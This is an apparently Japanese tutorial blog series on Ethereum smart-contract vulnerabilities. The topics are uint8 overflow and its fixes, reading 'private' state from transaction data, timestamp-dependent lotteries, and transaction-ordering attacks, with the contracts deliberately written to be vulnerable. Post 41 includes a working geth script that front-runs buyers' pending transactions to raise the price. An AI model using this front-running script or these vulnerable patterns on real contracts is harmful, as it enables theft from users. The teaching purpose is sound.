Ethereum(50) - オーバーフロー⑤(2回目の改善編)

前回は、在庫追加数としてuint8の範囲を超える数値を設定してしまったため、とオーバーフローが発生し257が1に変換されてしまいました。

今回はこの問題を解消していきます。

ソースコード(改善2)

改善策としまして、在庫数を追加する関数(AddStock関数)の引数を、データ型uint8からuintに変更してみます。

uint8の範囲は0~255ですが、uintの範囲は0~2の256乗までとかなりの大きな数字となります。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.11;
contract MarketPlaceOverflow {
address public owner;
uint public stockQuantity; // 在庫数 改善2 uint8 ⇒ uint

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// 追加在庫数を表示するイベント
event AddStock(uint _addedQuantity); // 改善2 uint8 ⇒ uint

/// コンストラクタ
function MarketPlaceOverflow() {
owner = msg.sender;
stockQuantity = 100;
}

/// 在庫の追加処理
function addStock(uint _addedQuantity) public onlyOwner { // 改善2 uint8 ⇒ uint
// オーバーフローチェック
require(stockQuantity + _addedQuantity > stockQuantity); // 改善1

AddStock(_addedQuantity);
stockQuantity += _addedQuantity;
}
}

追加在庫数(_addedQuantity)の修正箇所は12行目と21行目で、uint8をuintに変更しています。

また追加在庫数と合わせて、現在の在庫数(stockQuantity)のデータ型もuintに変更しておきます。(4行目)


次回はこの改善でオーバーフローが解消しているかどうかの確認してみます。

Ethereum(49) - オーバーフロー④(改善確認編)

前回修正したスマートコントラクトを使ってオーバーフローが解消されているかどうかを確認します。

デプロイ

デプロイを行います。

デプロイするのは前回改善したMarket Place Overflowです。

[デプロイ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

在庫数(Stock quantity)が100であることが確認できます。

在庫の追加①

Add Stcok関数を使って、前回同様に在庫数を156増やしてみます。

確認ダイアログではgas(手数料)に5000000を設定しました。

[在庫数を追加]

追加後の在庫数を確認します。

[在庫数を確認]

前回はオーバーフローが発生したため在庫数が0になってしまいましたが、今回は改善したので在庫の追加が行われず在庫数が100のままになっています。

いちおうオーバーフローが解消しています。


念のためトランザクションも確認します。

[トランザクションの確認]

Gas usedが指定した5000000となっており、最大手数料が消費されているのでトランザクションが失敗したことになります。

在庫の追加②

もう一度在庫の追加を行ってみます。今回は257追加してみます。

[在庫数を追加]

追加後の在庫数を確認します。

[在庫数を確認]

なぜか追加処理が行われ在庫数が101と増えてしまっています。

イベントも確認してみます。

[イベントの確認]

追加の在庫数として257を設定したのですが1となっています。

どうしてでしょうか。

考察

在庫数を追加するAdd Stock関数に257を設定したにも関わらず1という引数が渡されてしまった原因は、引数のデータ型がuint8となっているためです。

データ型のuint8では、0~255までの数値しか表現することができず257が指定されると1に変換されてしまったのです。(桁落ち)

その結果、前回改善した判定が満みたされ在庫追加処理が正常に実行されたということになります。


次回はこの問題を解消するための再度対策を行います。

Ethereum(48) - オーバーフロー③(改善編)

前回オーバーフローが発生したソースを修正します。

ソースコード(改善1)

前回の動作確認では、在庫数(stockQuantity)を追加しているにも関わらず、オーバーフローが発生したため在庫数が減ってしまっていました。

そこで在庫追加後の数が元の在庫数を超えることを確認して、オーバーフローを防いでみます。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.11;
contract MarketPlaceOverflow {
address public owner;
uint8 public stockQuantity; // 在庫数

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// 追加在庫数を表示するイベント
event AddStock(uint8 _addedQuantity);

/// コンストラクタ
function MarketPlaceOverflow() {
owner = msg.sender;
stockQuantity = 100;
}

/// 在庫の追加処理
function addStock(uint8 _addedQuantity) public onlyOwner {
// オーバーフローチェック
require(stockQuantity + _addedQuantity > stockQuantity); // 改善1

AddStock(_addedQuantity);
stockQuantity += _addedQuantity;
}
}

23行目で追加後の在庫数が現在の在庫数より大きいことをチェックしています。

次回はこの改善でオーバーフローが解消しているかどうかの確認してみます。

Ethereum(47) - オーバーフロー②(実行編)

前回作成したスマートコントラクトを使ってオーバーフローの動作確認を行います。

アカウンとの役割

今回の動作確認では、アカウントの役割は重要ではないのですが、一応次のようにしておきます。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。マイナー

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのはMarket Place Overflowです。

[デプロイ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

在庫数(Stock quantity)が100であることが確認できます。

在庫の追加

Add Stcok関数を使って、在庫数を156増やしてみます。

[在庫数を追加]

追加後の在庫数を確認します。

[在庫数を確認]

100 + 156 = 256 になるはずですが、0になってしまいました。

下記のイベント確認すると、在庫追加の引数としては問題なく156が渡されたことが分かります。

[イベントの確認]

ではなぜ在庫数が256にならずに0になってしまったのでしょうか。

計算が合わない理由

原因は在庫数(stockQuntity)がunit8で宣言されているためです。

uint8では8ビットの符号なし整数を表します。範囲としては0~255となります。

256になるとオーバーフローが発生し、0となってしまったのです。


次回はこの問題を解消するための対策を行います。

Ethereum(46) - オーバーフロー①(実装編)

オーバーフローは、スマートコントラクトならではの問題ではありませんが意外と見落としがちです。

オーバーフローが発生すると、データの不整合が発生するので注意が必要です。

ソースコード

オーバーフローを確認するためのサンプルソースは以下の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.11;
contract MarketPlaceOverflow {
address public owner;
uint8 public stockQuantity; // 在庫数

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// 追加在庫数を表示するイベント
event AddStock(uint8 _addedQuantity);

/// コンストラクタ
function MarketPlaceOverflow() {
owner = msg.sender;
stockQuantity = 100;
}

/// 在庫の追加処理
function addStock(uint8 _addedQuantity) public onlyOwner {
AddStock(_addedQuantity);
stockQuantity += _addedQuantity;
}
}

マーケットプレイスを想定したコントラクトで、在庫数の追加を行う関数のみを実装しています。

次回は、このスマートコントラクトを使ってオーバーフローになる場合の動作を確認します。

Ethereum(45) - 重要な情報の取り扱い②(実行編)

前回作成した重要な情報を扱うスマートコントラクトの動作確認を行います。

アカウントごとの役割

今回の動作確認では、アカウントの役割は重要ではないのですが、一応次のようにしておきます。

  • ACCOUNT3 (eth.accounts[3])
    コントラクト生成者。
  • ACCOUNT1 (eth.accounts[1])
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはアカウント3です。

デプロイするのはSecretで、コンストラクタパラメータにはtestを設定します。

[デプロイ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

さすがにこの画面からはsecretにどんな文字が設定されているかは確認できません。
(privateで宣言しているため)

トランザクションの確認

コントラクトを生成したときのハッシュを確認します。

[トランザクションの確認]

このトランザクション・ハッシュを引数にして、トランザクションのinputというフィールドを確認します。

gethコンソールから次のコマンドを実行します。

[トランザクションのinputフィールド確認]

1
2
> eth.getTransaction('0xd34e1aa86318225a66a77399f95a835b250ac75139c1c01eb2a80d3636238939').input
"0x6060604052341561000c57fe5b604051610263380380610263833981016040528051015b805161003690600090602084019061003e565b505b506100de565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061007f57805160ff19168380011785556100ac565b828001600101855582156100ac579182015b828111156100ac578251825591602001919060010190610091565b5b506100b99291506100bd565b5090565b6100db91905b808211156100b957600081556001016100c3565b5090565b90565b610176806100ed6000396000f300606060405263ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416637ed6c926811461003a575bfe5b341561004257fe5b610090600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284375094965061009295505050505050565b005b80516100a59060009060208401906100aa565b505b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100eb57805160ff1916838001178555610118565b82800160010185558215610118579182015b828111156101185782518255916020019190600101906100fd565b5b50610125929150610129565b5090565b61014791905b80821115610125576000815560010161012f565b5090565b905600a165627a7a72305820548d2d70ba56a4626512317eed38e749eae8a73a9d5322c580ebab786f1c12d90029000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000"

前半部分はコンパイルされたコントラクトのコードですが、後半部分のゼロに囲まれた474657374に注目してみます。

実は、この部分の最初の4はバイト数を表し、その直後の74657374(4バイト)はコントラクトで設定された文字列を表しています。

試しにこのデータをアスキーに変換してみます。

[アスキー変換]

1
2
> web3.toAscii("0x74657374")
"test"

なんとprivateで設定した文字列”test”が簡単に見れてしまいました。

文字列を更新

setSecret関数をコールして、文字列をkoushinに変更します。

[文字列の確認]

再度、トランザクションのハッシュから、inputフィールドを確認します。

[トランザクションのinputフィールド確認]

1
2
> eth.getTransaction('0x1bf2c055abc6e5d0f861c64c52c7a84419c4b80a41edbf954bce7c78b4147392').input
"0x7ed6c926000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000076b6f757368696e00000000000000000000000000000000000000000000000000"

また後半部分のゼロに囲まれた76b6f757368696eに注目してみます。

最初の7はバイト数を表し、6b6f757368696e(7バイト)は更新した文字列を表しています。

このデータをアスキーに変換してみます。

[アスキー変換]

1
2
> web3.toAscii("0x6b6f757368696e")
"koushin"

更新した文字列を確認することができました。

まとめ

privateな変数を宣言しても、トランザクションの中身を確認すれば簡単にそのデータを確認できるということが分かりました。

Ethereumではトランザクションが暗号化されないため、中身を参照すればどんなデータか確認することができるのです。

個人情報のような重要な情報をステートに設定する場合は、暗号化するなどの処理を行うようにしましょう。

Ethereum(44) - 重要な情報の取り扱い①(実装編)

スマートコントラクトは、ステートに情報を保持し他の誰かと情報を連携することができます。

ただこのステートに保持する情報の扱いには気を付ける必要があります。

ソースコード

privateなステート(secret)に文字を格納するだけのサンプルソースを準備します。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.11;
contract Secret {
string private secret; // 秘密の文字列

/// コンストラクタ
function Secret(string _secret) {
secret = _secret;
}

/// 秘密の文字列を設定
function setSecret(string _secret) public {
secret = _secret;
}
}

このコントラクトを生成する場合に、秘密の文字列を設定します。(6-8行目)

またこの秘密の文字列はsetSecret関数(11-13行目)を使って更新することはできますが、その文字列を参照する関数はなく、privateで宣言している(3行目)ためその内容を確認することはできない・・・はずです。

本当にprivateで宣言していれば、その情報を参照することはできないのでしょうか。

次回は、このスマートコントラクトの動作確認を行います。

Ethereum(43) - Timestamp Dependence②(実行編)

前回作成した抽選を行うスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。抽選会の主催者。
  • ACCOUNT1 (eth.accounts[1])
    抽選申込者1。
  • ACCOUNT2 (eth.accounts[2])
    抽選申込者2。
  • ACCOUNT3 (eth.accounts[3])
    抽選申込者3。
  • ACCOUNT4 (eth.accounts[4])
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのはLotteryです。

[デプロイ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

主催者(Owner)がMain accountで、応募者の数(Num applicants)が0であることが確認できます。

抽選会に応募

アカウント1,アカウント2、アカウント3から抽選会に応募します。

各アカウントからEnter関数を指定しトランザクションを発行します。

[アカウント1から抽選会に応募]

[アカウント2から抽選会に応募]

[アカウント3から抽選会に応募]


応募したあとのコントラクトの状態を確認します。

応募者(Applicants)は入力欄の右端にある小さい三角ボタンをクリックすると、インデックスを変えて応募者を確認することができます。

[応募1の確認]

[応募2の確認]

[応募3の確認]

応募者の人数(Num applicants)が3で、各応募者(Applicants)がアカウント1,アカウント2、アカウント3であることが確認できます。

抽選(当選者を決める)

抽選の開催者(Main Account)から、Hold関数をコールして当選者を決定します。

[開催者が当選者を決める]


コントラクトの状態を参照し、当選者を確認します。

[当選者の確認]

当選者(Winner address)が、アカウント2であることが確認できます。

また、当選者を決めるパラメータとなったTimestampは1627990495であることが分かります。

抽選時のトランザクション確認

抽選を行った時のトランザクションを確認します。

[当選者を決めた際のトランザクション]

このトランザクションは15909番目のブロックに取り込まれています。

このブロックのタイムスタンプをgethコンソールから確認します。

1
2
> eth.getBlock(15909).timestamp
1627990495

15909番目のブロックのタイムスタンプは1627990495となっています。

この値は、コントラクトで抽選を行った時のタイムスタンプと同じです。

つまり、スマートコントラクトで参照しているblock.timestampはトランザクションが発行されたときのタイムスタンプではなく、ブロックに取り込まれた時のタイムスタンプだということになります。

ブロックのタイムスタンプ

ブロックのタイムスタンプはマイナーがブロックを生成する際に設定するもので、どんな値が設定されるのかはマイナー次第となります。

抽選会にマイナーが応募していたとすると、マイナーは抽選時のトランザクションを検知し自分自身が当選者となるようなタイムスタンプを設定し、ブロックを作成するということが可能です。

今回のサンプルソースは、抽選結果がタイムスタンプにより決定されるといった仕様のため、タイムスタンプを操作され当選者を自由に決められてしまうという脆弱性があったといことになります。

タイムスタンプを操作されると困るような場合は、タイムスタンプだけに依存した仕様にしないように気を付けましょう。

Ethereum(42) - Timestamp Dependence①(実装編)

ブロックのタイムスタンプに依存した処理(Timestamp Dependence)を行うと脆弱性となる可能性があります。

抽選を行うスマートコントラクトを作成し、この問題を検証してみます。

実装

抽選を行うサンプルソースは次の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.4.11;
contract Lottery {
mapping (uint => address) public applicants; // 応募者を管理
uint public numApplicants; // 応募者数を管理
address public winnerAddress; // 抽選者情報
uint public winnerInd; // 当選者のインデックス
address public owner; // オーナー
uint public timestamp; // タイムスタンプ

/// ownerチェック用のmodifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// コンストラクタ
function Lottery() {
numApplicants = 0;
owner = msg.sender;
}

/// 抽選に申し込む関数
function enter() public {
// 応募者数は3人まで
require(numApplicants < 3);
// すでに応募済みであれば処理を終了
for(uint i = 0; i < numApplicants; i++) {
require(applicants[i] != msg.sender);
}
// 応募を受け付ける
applicants[numApplicants++] = msg.sender;
}

/// 抽選を行う
function hold() public onlyOwner {
// 応募者が3人に達していない場合は処理を終了
require(numApplicants == 3);
// タイムスタンプを設定
timestamp = block.timestamp;
// 抽選
winnerInd = timestamp % 3;
winnerAddress = applicants[winnerInd];
}
}

処理のポイントを解説します。

  • enter関数(23行目)
    抽選に申し込む関数です。
    申し込みができるのは3人までとします。
  • hold関数(35行目)
    抽選を行い当選者を決める関数です。
    当選者はタイムスタンプを3で割った余りのインデックスの応募者とします。

非常にシンプルな処理ですが、当選者がタイムスタンプに依存していることが脆弱性となりえます。


次回は、このスマートコントラクトの動作確認を行います。

Ethereum(41) - Transaction-Ordering Dependence④(自動実行編)

今回は、トランザクション発行を検知して、そのトランザクションより優先して処理を実行してみます。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。売り手。自動で攻撃を行う。
  • ACCOUNT1 (eth.accounts[1])
    買い手。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。

コントラクトの状態確認

現状のコントラクトの状態を確認します。

[コントラクトの状態]

価格は20 etherであることが確認できます。

自動実行処理を設定(イベント検知)

トランザクションを検知して、priceを自動で20 etherから25 etherに更新する処理を設定します。

コマンドの全体は下記の通りで、gethコンソール上で実行します。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
var filter = web3.eth.filter('pending');
filter.watch(function(error, result){
var tx = web3.eth.getTransaction(result);
if(!error && tx.to.toUpperCase() === mpt.address.toUpperCase() && tx.from !== eth.accounts[0]) {
console.log('Tx Hash:' + result);
var _gasPrice = parseInt(tx.gasPrice, 10) + 1;
console.log('Gas Price:' + _gasPrice);
var attackTx = mpt.updatePrice.sendTransaction(25,{from:eth.accounts[0], gas:5000000, gasPrice:_gasPrice});
console.log('Attack Tx Hash:' + attackTx);
console.log('done');
}
});

上記コマンドの説明は以下の通りです。

  • 1行目
    マイニングされていないトランザクションのみを抽出するためにフィルタをかけます。
  • 2行目
    watch関数で監視を開始します。
  • 4行目
    下記の条件を全て満たしているかどうかを判定します。
    ①エラーでないこと。
    ②検知したトランザクションの宛先アドレスとmpt(コントラクト)のアドレスが一致すること。
    ③fromアドレスが自分でないこと。(自分が発行したトランザクションを対象外とするため)
  • 6行目
    検知したトランザクションのgasPriceを取得して、それよりも1wei大きい値を_gasPriceに格納します。
  • 8行目
    検知したトランザクションよりも高いgasPriceでupdatePrice処理(価格更新)を呼び出します。

購入トランザクション発行

アカウント1から購入トランザクション(buy関数)を発行します。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:50000000000, value:web3.toWei(500, "wei")});
"0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1"

[↓↓↓自動で実行される]
> Tx Hash:0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1
Gas Price:50000000001
Attack Tx Hash:0xfca59c8a842abb5154a3953a7a3092d2ecf43d83b1c74db4ddcf863817a7e454
done

14行目以降が、イベントが検知され自動で実行された処理のログになります。


発行されたトランザクションの内容を確認します。

[トランザクションの確認]

アカウント1としてはpriceが20 etherで購入(buy)したはずですが、イベント検知処理により価格更新のトランザクションが優先的に実行されたために25 etherでの購入することになっていることが確認できます。

まとめ

今回のサンプルでは攻撃者がスマートコントラクトのオーナーという前提で行いましたが、逆のパターンもありえます。

自分が作成したスマートコントラクトに対して、TODを突いた攻撃を受ける可能性もあります。

また、作成したスマートコントラクトがTODの影響を受けた場合に問題になるかどうかは、攻撃意思がなくても発生する可能性があります。

スマートコントラクトを実装する際にはTODの影響を受けるかどうかを必ず確認するようにしましょう。